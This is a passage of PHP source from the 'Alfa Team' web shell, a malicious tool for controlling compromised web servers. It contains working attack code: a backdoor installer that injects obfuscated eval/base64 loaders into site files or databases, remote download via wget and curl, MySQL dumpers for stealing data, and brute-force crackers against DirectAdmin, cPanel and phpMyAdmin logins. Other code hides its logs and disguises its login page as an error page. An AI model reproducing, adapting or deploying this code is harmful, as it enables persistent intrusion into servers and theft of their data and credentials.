filesman-tab-active" onclick="filesmanTabController(this);"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span>File manager</span></div><div style="display:inline-block;" id="filesman_tabs_child"></div><div id="filesman_new_tab" class="filesman_tab" style="background: maroon;" onClick="alfaFilesManNewTab(c_,\'/\',1);">New Tab +</div></div>';
} else {
@error_reporting("\x00\x00\x0f\x03\x18");
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('magic_quotes_runtime', 0);
@set_time_limit(0);
}
}
function alfalogout()
{
@setcookie("AlfaUser", null, 2012);
@setcookie("AlfaPass", null, 2012);
unset($_COOKIE['AlfaUser'], $_COOKIE['AlfaPass']);
echo "ok";
}
function showAnimation($name)
{
return '-webkit-animation: ' . $name . ' 800ms ease-in-out forwards;-moz-animation: ' . $name . ' 800ms ease-in-out forwards;-ms-animation: ' . $name . ' 800ms ease-in-out forwards;animation: ' . $name . ' 800ms ease-in-out forwards;';
}
function __showicon($r)
{
$s['btn'] = 'http://solevisible.com/images/btn.png';
$s['alfamini'] = 'http://solevisible.com/images/alfamini.png';
$s['loader'] = 'http://solevisible.com/images/loader.svg';
//return 'data:image/png;base64,'.__get_resource($s[$r]);
return $s[$r];
}
function alfainbackdoor()
{
alfahead();
echo "<div class=header><center><p><div class=\"txtfont_header\">| Install BackDoor |</div></p><h3><a href=javascript:void(0) onclick=\"g('inbackdoor',null,'file')\">| In File | </a><a href=javascript:void(0) onclick=\"g('inbackdoor',null,'db')\">| In DataBase | </a></h3></center>";
$error = '<font color="red">Error In Inject BackDoor...!<br>File Loader is not Writable Or Not Exists...!</font>';
$success = '<font color="green">Success...!';
$textarea = "<div style='display:none;' id='backdoor_textarea'><div class='txtfont'>Your Shell:</div><p><textarea name='shell' rows='19' cols='103'><?php\n\techo('Alfa Team is Here...!');\n?></textarea></p></div>";
$select = "<div class='txtfont'>Use:</div> <select name='method' style='width:155px;' onChange='inBackdoor(this);'><option value='alfa'>Alfa Team Uploader</option><option value='my'>My Private Shell</option></select>";
$cwd = 'Example: /home/alfa/public_html/index.php';
if ($_POST['alfa1'] == 'file') {
echo "<center><p><div class='txtfont_header'>| In File |</div></p><p><form onsubmit=\"g('inbackdoor',null,'file',this.method.value,this.file.value,this.shell.value,this.key.value);return false;\"><div class='txtfont'>Use:</div> <select name='method' style='width:155px;' onChange='inBackdoor(this);'><option value='alfa'>Alfa Team Uploader</option><option value='my'>My Private Shell</option></select> <div class='txtfont'>Backdoor Loader:</div> <input type='text' name='file' size='50' placeholder='Example: /home/alfa/public_html/index.php'> <div class='txtfont'>Key: </div> <input type='text' name='key' size='10' value='alfa'> <input type='submit' value=' '><div style='display:none;' id='backdoor_textarea'><div class='txtfont'>Your Shell:</div><p><textarea name='shell' rows='19' cols='103'><?php\n\techo('Alfa Team is Here...!');\n?></textarea></p></div></form></p></center>";
if ($_POST['alfa2'] != '' && $_POST['alfa3'] != '' && $_POST['alfa4'] != '') {
$method = $_POST['alfa2'];
$file = $_POST['alfa3'];
$shell = $_POST['alfa4'];
$key = str_replace(array('"', '\''), '', trim($_POST['alfa5']));
if ($key == '') {
$key = 'alfa';
}
if ($method == 'my') {
$shell = __ZW5jb2Rlcg($shell);
} else {
$shell = $GLOBALS['__ALFA_SHELL_CODE'];
}
$code = '<?php if(isset($_GET["alfa"])&&$_GET["alfa"]=="' . $key . '"){$func="cr"."ea"."te_"."fun"."ction";$x=$func("\\$c","e"."v"."al"."(\'?>\'.base"."64"."_dec"."ode(\\$c));");$x("' . $shell . '");exit;}?>';
if (@is_file($file) && @is_writable($file)) {
@file_put_contents($file, $code . "\n" . @file_get_contents($file));
__alert($success . "<br>Run With: " . basename($file) . "?alfa=" . $key . '</font>');
} else {
__alert($error);
}
}
}
if ($_POST['alfa1'] == 'db') {
echo "<center><p><div class='txtfont_header'>| In DataBase |</div></p>" . getConfigHtml('all') . "<p><form onsubmit=\"g('inbackdoor',null,'db',this.db_host.value,this.db_username.value,this.db_password.value,this.db_name.value,this.file.value,this.method.value,this.shell.value,this.key.value);return false;\">";
$table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Backdoor Loader: ', 'inputName' => 'file', 'inputValue' => $cwd, 'inputSize' => '50', 'placeholder' => true), 'td6' => array('color' => 'FFFFFF', 'tdName' => 'Key: ', 'inputName' => 'key', 'inputValue' => 'alfa', 'inputSize' => '50'));
create_table($table);
echo "<p>{$select}</p>";
echo $textarea;
echo "<p><input type='submit' value=' '></p></form></p></center>";
if ($_POST['alfa2'] != '' && $_POST['alfa3'] != '' && $_POST['alfa5'] != '' && $_POST['alfa6'] != '') {
$dbhost = $_POST['alfa2'];
$dbuser = $_POST['alfa3'];
$dbpw = $_POST['alfa4'];
$dbname = $_POST['alfa5'];
$file = $_POST['alfa6'];
$method = $_POST['alfa7'];
$shell = $_POST['alfa8'];
$key = str_replace(array('"', '\''), '', trim($_POST['alfa9']));
if ($key == '') {
$key = 'alfa';
}
if ($method == 'my') {
$shell = __ZW5jb2Rlcg($shell);
} else {
$shell = $GLOBALS['__ALFA_SHELL_CODE'];
}
if ($conn = mysqli_connect($dbhost, $dbuser, $dbpw, $dbname)) {
$code = '<?php if(isset($_GET["alfa"])&&$_GET["alfa"]=="' . $key . '"){$conn=mysqli_connect("' . str_replace('"', '\\"', $dbhost) . '","' . str_replace('"', '\\"', $dbuser) . '","' . str_replace('"', '\\"', $dbpw) . '","' . str_replace('"', '\\"', $dbname) . '");$q=mysqli_query($conn,"SELECT `code` FROM alfa_bc LIMIT 0,1");$r=mysqli_fetch_assoc($q);$func="cr"."ea"."te_"."fun"."ction";$x=$func("\\$c","e"."v"."al"."(\'?>\'.base"."64"."_dec"."ode(\\$c));");$x($r["code"]);exit;}?>';
if (@is_file($file) && @is_writable($file)) {
@mysqli_query($conn, 'DROP TABLE `alfa_bc`');
@mysqli_query($conn, 'CREATE TABLE `alfa_bc` (code LONGTEXT)');
@mysqli_query($conn, 'INSERT INTO `alfa_bc` VALUES("' . $shell . '")');
@file_put_contents($file, $code . "\n" . @file_get_contents($file));
__alert($success . "<br>Run With: " . basename($file) . "?alfa=" . $key . '</font>');
} else {
__alert($error);
}
}
}
}
echo "</div>";
alfafooter();
}
function alfawhois()
{
echo "<div class='header'><center><p><div class='txtfont_header'>| Whois |</div></p><p><form onsubmit=\"g('whois',null,this.url.value,'>>');return false;\"><div class='txtfont'>Url: </div> <input type='text' name='url' style='text-align:center;' size='50' placeholder='google.com'> <input type='submit' value=' '></form></p></center>";
if ($_POST['alfa2'] == '>>' && !empty($_POST['alfa1'])) {
$site = str_replace(array('http://', 'https://', 'www.', 'ftp://'), '', $_POST['alfa1']);
$target = 'http://api.whoapi.com/?apikey=093b6cb9e6ea724e101928647df3e009&r=whois&domain=' . $site;
$data = @file_get_contents($target);
if ($data == '') {
$get = new AlfaCURL();
$get->ssl = true;
$data = $get->Send($target);
}
$target = @json_decode($data, true);
echo __pre();
if (is_array($target)) {
echo $target["whois_raw"];
} else {
echo alfaEx("whois " . $site);
}
}
echo "</div>";
}
function alfaremotedl()
{
alfahead();
echo "<div class='header'><center><p><div class='txtfont_header'>| Upload From Url |</div></p><p>\r\n<form onsubmit=\"g('remotedl',null,this.d.value,this.p.value,'>>');return false;\">\r\n<p><div class='txtfont'>Url: </div> <input type='text' name='d' size='50'></p>\r\n<div class='txtfont'>Path:</div> <input type='text' name='p' size='50' value='" . $GLOBALS['cwd'] . "'><p><input type='submit' value=' '></p>\r\n</form></p></center>";
if (isset($_POST['alfa1'], $_POST['alfa2'], $_POST['alfa3']) && !empty($_POST['alfa1']) && $_POST['alfa3'] == '>>') {
echo __pre();
$url = $_POST['alfa1'];
$path = $_POST['alfa2'];
echo "<center>";
if (__download($url, $path)) {
echo "<font color=\"green\">Success...!</font>";
} else {
echo "<font color=\"red\">Error...!</font>";
}
echo "</center>";
}
echo "</div>";
alfafooter();
}
function __download($url, $path = false)
{
if (!preg_match("/[a-z]+:\\/\\/.+/", $url)) {
return false;
}
$saveas = basename(rawurldecode($url));
if ($path) {
$saveas = $path . $saveas;
}
if ($content = __read_file($url)) {
if (@is_file($saveas)) {
@unlink($saveas);
}
if (__write_file($saveas, $content)) {
return true;
}
}
$buff = alfaEx("wget " . $url . " -O " . $saveas);
if (@is_file($saveas)) {
return true;
}
$buff = alfaEx("curl " . $url . " -o " . $saveas);
if (@is_file($saveas)) {
return true;
}
$buff = alfaEx("lwp-download " . $url . " " . $saveas);
if (@is_file($saveas)) {
return true;
}
$buff = alfaEx("lynx -source " . $url . " > " . $saveas);
if (@is_file($saveas)) {
return true;
}
$buff = alfaEx("GET " . $url . " > " . $saveas);
if (@is_file($saveas)) {
return true;
}
$buff = alfaEx("links -source " . $url . " > " . $saveas);
if (@is_file($saveas)) {
return true;
}
$buff = alfaEx("fetch -o " . $saveas . " -p " . $url);
if (@is_file($saveas)) {
return true;
}
return false;
}
function clean_string($string)
{
if (function_exists("iconv")) {
$s = trim($string);
$s = iconv("UTF-8", "UTF-8//IGNORE", $s);
}
return $s;
}
function __read_file($file, $boom = true)
{
$content = false;
if ($fh = @fopen($file, "rb")) {
$content = "";
while (!feof($fh)) {
$content .= $boom ? clean_string(fread($fh, 8192)) : fread($fh, 8192);
}
@fclose($fh);
}
if (empty($content) || !$content) {
$content = alfaEx("cat '" . addslashes($file) . "'");
}
return $content;
}
function alfaMarket()
{
echo "<div class='header'>";
$curl = new AlfaCURL();
$content = $curl->Send("http://solevisible.com/market.php");
$data = @json_decode($content, true);
if (!empty($data)) {
if ($data["status"] == "open") {
echo $data["content"];
} else {
echo $data["error_msg"];
}
} else {
echo "<div style='text-align:center;font-size:20px;'>Cant connect to the alfa market....! try later.</div>";
}
echo "</div>";
}
function alfaSettings()
{
alfahead();
AlfaNum(6, 7, 8, 9, 10);
echo "<div class=header><center><p><div class=\"txtfont_header\">| Settings |</div></p><h3><a href=javascript:void(0) onclick=\"g('settings',null,null,null,null,null,null,null,null,'main')\">| Generall Setting | </a></h3></center>";
if ($_POST["alfa8"] == "main") {
echo "<p><center><div class=\"txtfont_header\">| Settings |</div></p><form onSubmit=\"reloadSetting(this);return false;\" method='post'>";
$lg_array = array('0' => 'No', '1' => 'Yes');
$penc_array = array('false' => 'No', 'true' => 'Yes');
$protect_html = "";
$icon_html = "";
$postEnc_html = "";
$login_html = "";
$cgiapi_html = "";
foreach ($lg_array as $key => $val) {
$protect_html .= '<option value="' . $key . '" ' . ($GLOBALS['DB_NAME']['safemode'] == '1' ? 'selected' : '') . '>' . $val . '</option>';
}
foreach ($lg_array as $key => $val) {
$icon_html .= '<option value="' . $key . '" ' . ($GLOBALS['DB_NAME']['show_icons'] == '1' ? 'selected' : '') . '>' . $val . '</option>';
}
foreach ($penc_array as $key => $val) {
$cgiapi_html .= '<option value="' . $key . '" ' . (!empty($_POST['alfa9']) && $_POST['alfa9'] == $key ? "selected" : ($GLOBALS["DB_NAME"]["cgi_api"] && empty($_POST['alfa9']) ? 'selected' : '')) . '>' . $val . '</option>';
}
foreach ($penc_array as $key => $val) {
$postEnc_html .= '<option value="' . $key . '" ' . (!empty($_POST['alfa7']) && $_POST['alfa7'] == $key ? "selected" : (__ALFA_POST_ENCRYPTION__ && empty($_POST['alfa7']) ? 'selected' : '')) . '>' . $val . '</option>';
}
$lg_array = array("gui" => "GUI", "500" => "500 Internal Server Error", "403" => "403 Forbidden", "404" => "404 NotFound");
foreach ($lg_array as $key => $val) {
$login_html .= '<option value="' . $key . '" ' . ($GLOBALS['DB_NAME']['login_page'] == $key ? 'selected' : '') . '>' . $val . '</option>';
}
echo "";
echo '<table border="1"><tbody><tr><td><div class="tbltxt" style="color:#FFFFFF">Protect:</div></td><td><select name="protect" style="width:100%;">' . $protect_html . '</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Cgi Api:</div></td><td><select name="cgi_api" style="width:100%;">' . $cgiapi_html . '</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Post Encryption:</div></td><td><select name="post_encrypt" style="width:100%;">' . $postEnc_html . '</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Show Icons:</div></td><td><select name="icon" style="width:100%;">' . $icon_html . '</select></td></tr><tr><tr><td><div class="tbltxt" style="color:#FFFFFF">login Page:</div></td><td><select style="width:100%;" name="lgpage">' . $login_html . '</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">UserName:</div></td><td><input type="text" style="width:95%;" name="username" value="' . (empty($_POST['alfa3']) ? $GLOBALS['DB_NAME']['user'] : $_POST['alfa3']) . '" placeholder="solevisible"></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Password:</div></td><td><input type="text" style="width:95%;" name="password" placeholder="*****"></td></tr></tbody></table><input type="hidden" name="e" value="' . $GLOBALS['DB_NAME']['safemode'] . '"><input type="hidden" name="s" value="' . $GLOBALS['DB_NAME']['show_icons'] . '"><p><input type="submit" name="btn" value=" "></p></form></center>';
if ($_POST['alfa5'] == '>>') {
echo __pre();
if (!empty($_POST['alfa3'])) {
$protect = $_POST['alfa1'];
$lgpage = $_POST['alfa2'];
$username = $_POST['alfa3'];
$password = md5($_POST['alfa4']);
$icon = $_POST['alfa6'];
$post_encrypt = $_POST['alfa7'];
$cgi_api_val = $_POST['alfa9'];
@chdir($GLOBALS['home_cwd']);
$basename = @basename($_SERVER['PHP_SELF']);
$data = @file_get_contents($basename);
$user_rand = $GLOBALS["DB_NAME"]["user_rand"];
$pass_rand = $GLOBALS["DB_NAME"]["pass_rand"];
$login_page_rand = $GLOBALS["DB_NAME"]["login_page_rand"];
$safemode_rand = $GLOBALS["DB_NAME"]["safemode_rand"];
$show_icons_rand = $GLOBALS["DB_NAME"]["show_icons_rand"];
$post_encryption_rand = $GLOBALS["DB_NAME"]["post_encryption_rand"];
$cgi_api_rand = $GLOBALS["DB_NAME"]["cgi_api_rand"];
$find_user = '/\'' . $user_rand . '\'(.*?),/i';
$find_pw = '/\'' . $pass_rand . '\'(.*?),/i';
$find_lg = '/\'' . $login_page_rand . '\'(.*?),/i';
$find_p = '/\'' . $safemode_rand . '\'(.*?),/i';
$icons = '/\'' . $show_icons_rand . '\'(.*?),/i';
$postEnc = '/\'' . $post_encryption_rand . '\'(.*?),/i';
$cgi_api_reg = '/\'' . $cgi_api_rand . '\'(.*?),/i';
if (!empty($username) && preg_match($find_user, $data, $e)) {
$new = '\'' . $user_rand . '\' => \'' . $username . '\',';
$data = str_replace($e[0], $new, $data);
}
if (!empty($_POST['alfa4']) && preg_match($find_pw, $data, $e)) {
$new = '\'' . $pass_rand . '\' => \'' . $password . '\',';
$data = str_replace($e[0], $new, $data);
}
if (!empty($lgpage) && preg_match($find_lg, $data, $e)) {
$new = '\'' . $login_page_rand . '\' => \'' . $lgpage . '\',';
$data = str_replace($e[0], $new, $data);
}
if (!empty($find_p) && preg_match($find_p, $data, $e)) {
$new = '\'' . $safemode_rand . '\' => \'' . $protect . '\',';
$data = str_replace($e[0], $new, $data);
}
if (preg_match($icons, $data, $e)) {
$new = '\'' . $show_icons_rand . '\' => \'' . $icon . '\',';
$data = str_replace($e[0], $new, $data);
}
if (preg_match($postEnc, $data, $e)) {
$new = '\'' . $post_encryption_rand . '\' => ' . $post_encrypt . ',';
$data = str_replace($e[0], $new, $data);
}
if (preg_match($cgi_api_reg, $data, $e)) {
$new = '\'' . $cgi_api_rand . '\' => ' . $cgi_api_val . ',';
$data = str_replace($e[0], $new, $data);
}
if (@file_put_contents($basename, $data)) {
echo '<b>UserName: </b><font color="green"><b>' . $username . '</b></font><br /><b>Password: </b><font color="green"><b>' . $_POST['alfa4'] . '</b></font><script>post_encryption_mode = ' . $post_encrypt . ';</script>';
} else {
__alert("<span style='color:red;'>File has no edit access...!</span>");
}
} else {
__alert("<span style='color:red;'>UserName is Empty !</span>");
}
}
} elseif ($_POST["alfa8"] == "color") {
echo "<center><p><div class=\"txtfont_header\">| Custom Color |</div></p><form onSubmit=\"reloadColors();return false;\" method='post'>";
echo "<table border=\"1\"><tbody>";
$template = '<tr><td style="text-align:center;"><a href="http://solevisible.com/customcolors/{help}.png" target="_blank"><font color="#00FF00">Help</font></a></td><td style="text-align:center;"><div class="tbltxt">{index}</div></td><td><div class="tbltxt" style="margin-left:5px;">{target}:</div></td><td><input style="width:60px;" multi="{multi}" id="gui_{target}" onChange="colorHandler(this);" target=".{target}" type="color" value="{color}"></td><td><input type="text" style="text-align:center;" multi="{multi}" onkeyup="colorHandlerKey(this);" target=".{target}" id="input_{target}" class="colors_input" placeholder="#ffffff" value="{color}"></td></tr>';
$x = 1;
foreach ($GLOBALS['__ALFA_COLOR__'] as $key => $value) {
$multi = "";
if (is_array($value)) {
if (isset($value["multi_selector"])) {
$multi = __ZW5jb2Rlcg(json_encode($value));
}
}
$value = alfa_getColor($key);
$help = strtolower(str_replace(array(":", "+"), array("_", "_plus"), $key));
echo str_replace(array("{index}", "{target}", "{color}", "{multi}", "{help}"), array($x++, $key, $value, $multi, $help), $template);
}
echo "<tr><td style=\"text-align:center;\">-</td><td style=\"text-align:center;\"><div class=\"tbltxt\">*</div></td><td><div style=\"margin-left:5px;\" class=\"tbltxt\">Use Default Color:</div></td><td></td><td><center><input type=\"checkbox\" id=\"use_default_color\" value=\"1\"></center></td></tr>";
echo "</tbody></table><p><input type=\"submit\" name=\"btn\" value=\" \"></p></form><p><button style=\"padding:4px;;margin-right:20px;\" onclick=\"\$('importFileBtn').click();\" class=\"button\"> Import </button> <button style=\"padding:4px;margin-left:20px;\" onclick=\"g('settings',null,null,null,null,null,null,null,'export','color')\" class=\"button\"> Export </button></center></p>";
if ($_POST['alfa7'] == 'export') {
echo __pre();
$colors = is_array($GLOBALS["DB_NAME"]["color"]) ? $GLOBALS["DB_NAME"]["color"] : array();
$glob_colors = $GLOBALS["__ALFA_COLOR__"];
$array = array();
foreach ($glob_colors as $k => $v) {
if (isset($colors[$k]) && !empty($colors[$k]) && !$is_default) {
$v = trim($colors[$k]);
} else {
$v = trim(is_array($v) ? $v["key_color"] : $v);
}
$array[$k] = $v;
}
$file = "alfa_color_config_" . date('Y-m-d-h_i_s') . ".conf";
$config = json_encode($array, JSON_PRETTY_PRINT);
if (!@file_put_contents($file, $config)) {
echo '<p><center>Color Config:<br><br><textarea rows="12" cols="70" type="text">' . $config . '</textarea></center></p>';
} else {
echo '<h3><p><center><a class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\'' . $file . '\', \'download\')"><font color="#0F0">Download Config</font></a></center></p></h3>';
}
}
if ($_POST['alfa2'] == '>>') {
echo __pre();
$colors = json_decode($_POST["alfa1"], true);
$array = "";
$is_default = isset($_POST["alfa3"]) && $_POST["alfa3"] == "1" ? true : false;
$glob_colors = $GLOBALS["__ALFA_COLOR__"];
foreach ($glob_colors as $k => $v) {
if (isset($colors[$k]) && !empty($colors[$k]) && !$is_default) {
$v = trim($colors[$k]);
} else {
$v = trim(is_array($v) ? $v["key_color"] : $v);
}
$array .= '"' . trim($k) . '" => "' . $v . '",';
}
@chdir($GLOBALS['home_cwd']);
$basename = @basename($_SERVER['PHP_SELF']);
$data = @file_get_contents($basename);
$color = '/\'color\'(.*?)\\),/s';
if (preg_match($color, $data, $e)) {
$new = "'color' => array(" . $array . "),";
$data = str_replace($e[0], $new, $data);
if (@file_put_contents($basename, $data)) {
echo "<center><p><h3>[+] Success...</h3></p></center><script>location.reload();</script>";
} else {
echo "<center><p><h3>[-] We Not have permission to Edit shell...!</h3></p></center>";
}
} else {
echo "<center><p><h3>[-] Error...!</h3></p></center>";
}
}
}
echo "</div>";
alfafooter();
}
function alfaaboutus()
{
alfahead();
echo "<div class=\"header\">";
$news = new AlfaCURL();
$about_us = $news->Send("http://solevisible.com/aboutus.php");
if (empty($about_us)) {
$about_us = "<pre><center><img src='http://solevisible.com/images/farvahar-iran.png'><br>\r\n<b><font size='+3' color='#00A220'>☮ ~ PEACE ~ ☮</font><br><b>\r\n<font color='#00A220'>Shell Coded By Sole Sad & Invisible (ALFA TEaM)</font><br>\r\n<font color='#00A220'>Contact : solevisible@gmail.com</font><br>\r\n<font color='#00A220'>Telegram Channel: @solevisible</font><br>\r\n<font color='#FFFFFF'>Skype : ehsan.invisible</font><br>\r\n<font color='#FFFFFF'>Skype : sole.sad</font><br>\r\n<font color='#FF0000'>Persian Gulf For Ever</font><br>\r\n<font color='#FF0000'>Iranian Programmers</font><br>\r\n<font color='#FF0000'>############</font><br>\r\n</center></pre><iframe src='tg://resolve?domain=solevisible' frameborder='0' width='0' height='0'></iframe>";
}
echo __pre() . $about_us;
echo "</div>";
alfafooter();
}
function alfacoldumper()
{
alfahead();
echo "<div class=\"header\">";
AlfaNum(8, 9, 10);
echo "<center><br><div class='txtfont_header'>| Mysql Column Dumper |</div><br><br>" . getConfigHtml('all') . "<form method='post' onsubmit=\"var opt_id=this.getAttribute('opt_id');var delimiter='json';try{if(\$('dumper-delimiter-type').value == 'delimiter')delimiter=\$('dumper-delimiter-input').value}catch(e){};g('coldumper',null,delimiter,JSON.stringify(col_dumper_selected_data[opt_id]),this.db_username.value,this.db_password.value,this.db_name.value,this.dfile.value,this.db_host.value); col_dumper_selected_data[opt_id] = {};return false;\"><p>";
$delimiter = !empty($_POST['alfa1']) ? $_POST['alfa1'] : '::';
$selected_data = json_decode($_POST['alfa2'], true);
$username = $_POST['alfa3'];
$password = $_POST['alfa4'];
$dbname = $_POST['alfa5'];
$dfile = $_POST['alfa6'];
$host = $_POST['alfa7'];
$table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => $host, 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => $username, 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => $password, 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => $dbname, 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Output Path: ', 'inputName' => 'dfile', 'inputValue' => htmlspecialchars($GLOBALS['cwd']), 'inputSize' => '50'));
create_table($table);
echo "<br><input type='submit' value=' ' name='Submit'></p></form></center>";
$db = false;
if (!empty($dbname)) {
$db = @mysqli_connect($host, $username, $password, $dbname);
}
if (count($selected_data) > 0) {
if ($db) {
if (!is_dir($dfile)) {
$dfile = $GLOBALS['cwd'];
}
$tbls = "";
$ext = '.txt';
if ($delimiter == 'json') {
$ext = '.json';
}
foreach ($selected_data as $tbl => $cols) {
$tables_query = mysqli_query($db, "SELECT " . implode(',', $cols) . " FROM {$tbl}");
$file_name = $dfile . '/' . $dbname . '.' . $tbl . $ext;
$fp = fopen($file_name, "w");
$data = array();
while ($row = mysqli_fetch_array($tables_query, MYSQLI_ASSOC)) {
if ($delimiter == "json") {
$col_arr = array();
foreach ($row as $key => $value) {
if (empty($value)) {
$value = "[empty]";
}
$col_arr[$key] = $value;
}
$data[$tbl][] = $col_arr;
} else {
$data = "";
foreach ($row as $key => $value) {
if (empty($value)) {
$value = "[empty]";
}
$data .= $value . $delimiter;
}
fwrite($fp, $data . "\n");
}
}
if ($delimiter == "json") {
fwrite($fp, json_encode($data));
}
fclose($fp);
$tbls .= "Done ~~~> " . $file_name . "<br>";
}
echo __pre();
echo "<center><font color='#00FF00'>" . $tbls . "</font></center>";
}
}
if (!empty($dbname) && count($selected_data) == 0) {
//echo __pre();
if ($db) {
echo "<hr><div style='text-align:center;margin-bottom:5px;font-weight:bolder;'><span>[ Select your tables and columns for dumping data ]</span></div>";
echo "<div style='text-align:center;'><span>Output Type: </span><select id='dumper-delimiter-type' onchange='colDumplerSelectType(this);' name='output_type'><option value='delimiter' selected>delimiter</option><option value='json'>json</option></select><div id='coldumper-delimiter-input' style='display:inline;'><span> Delimiter: </span><input id='dumper-delimiter-input' style='text-align:center;' type='text' name='delimiter' placeholder='eg: ,'></div></div>";
$data = array();
$tables_query = mysqli_query($db, "SELECT table_name FROM information_schema.tables WHERE table_schema = database();");
while ($row = mysqli_fetch_array($tables_query, MYSQLI_ASSOC)) {
$data[$row["table_name"]] = array();
$table_count_q = mysqli_query($db, "SELECT count(*) FROM `" . $row['table_name'] . "`");
$table_count = mysqli_fetch_row($table_count_q);
$data[$row["table_name"]]["data_count"] = $table_count[0];
$columns_query = mysqli_query($db, "SELECT column_name FROM information_schema.columns WHERE table_name = '" . $row['table_name'] . "'");
while ($row2 = mysqli_fetch_array($columns_query, MYSQLI_ASSOC)) {
$data[$row["table_name"]]["cols"][] = $row2["column_name"];
}
}
mysqli_close($db);
echo "<ul id=\"myUL\">";
foreach ($data as $tbl => $cols) {
echo '<li><span style="color:#00FF00;" class="box">' . $tbl . ' (' . $cols["data_count"] . ')</span><ul class="nested">';
foreach ($cols["cols"] as $col) {
echo '<li tbl="' . $tbl . '"><span style="color:#00FF00;" tbl="' . $tbl . '" class="box sub-box">' . $col . '</span></li>';
}
echo "</ul></li>";
}
echo "</ul>";
} else {
echo "<center>mysqli_connect : Error!</center>";
}
}
echo "</div>";
alfafooter();
}
function alfaDumper()
{
alfahead();
echo "<div class=\"header\">";
AlfaNum(8, 9, 10);
echo "<center><br><div class='txtfont_header'>| Mysql Database Dumper |</div><br><br>" . getConfigHtml('all') . "<form method='post' onsubmit=\"g('dumper',null,null,null,this.db_username.value,this.db_password.value,this.db_name.value,this.dfile.value,this.db_host.value); return false;\"><p>";
$table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Dump Path: ', 'inputName' => 'dfile', 'inputValue' => htmlspecialchars($GLOBALS['cwd']) . 'alfa.sql', 'inputSize' => '50'));
create_table($table);
echo "<br><input type='submit' value=' ' name='Submit'></p></form></center>";
$username = $_POST['alfa3'];
$password = $_POST['alfa4'];
$dbname = $_POST['alfa5'];
$dfile = $_POST['alfa6'];
$host = $_POST['alfa7'];
if (!empty($dbname)) {
echo __pre();
$msg = "<center>Check this : <font color='red'>" . $dfile . "</font></center>";
if (@mysqli_connect($host, $username, $password, $dbname)) {
if (strlen(alfaEx("mysqldump")) > 0) {
alfaEx("mysqldump --single-transaction --host=\"{$host}\" --user=\"{$username}\" --password=\"{$password}\" {$dbname} > '" . addslashes($dfile) . "'");
echo $msg;
} else {
__alert("Error...!");
}
} else {
echo "<center>mysqli_connect : Error!</center>";
}
}
echo "</div>";
alfafooter();
}
function Alfa_DirectAdmin_Cracker($info)
{
if (!$info['mysql']) {
$url = $info['protocol'] . $info['target'] . ':' . $info['port'] . '/CMD_LOGIN';
} else {
$url = $info['protocol'] . $info['target'] . '/phpmyadmin';
}
$curl = curl_init();
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERPWD, $info['username'] . ':' . $info['password']);
if ($info['mysql']) {
curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
}
$result = @curl_exec($curl);
$curl_errno = curl_errno($curl);
$curl_error = curl_error($curl);
if ($curl_errno > 0) {
echo "<font color='red'>Error: {$curl_error}</font><br>";
} elseif (preg_match('/CMD_FILE_MANAGER|frameset/i', $result)) {
echo 'UserName: <font color="red">' . $info['username'] . '</font> PassWord: <font color="red">' . $info['password'] . '</font><font color="green"> Login Success....</font><br>';
$info['target'] = $url;
CrackerResualt($info);
}
curl_close($curl);
}
function Alfa_CP_Cracker($info)
{
$url = $info['protocol'] . $info['target'] . ':' . $info['port'];
$curl = curl_init();
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
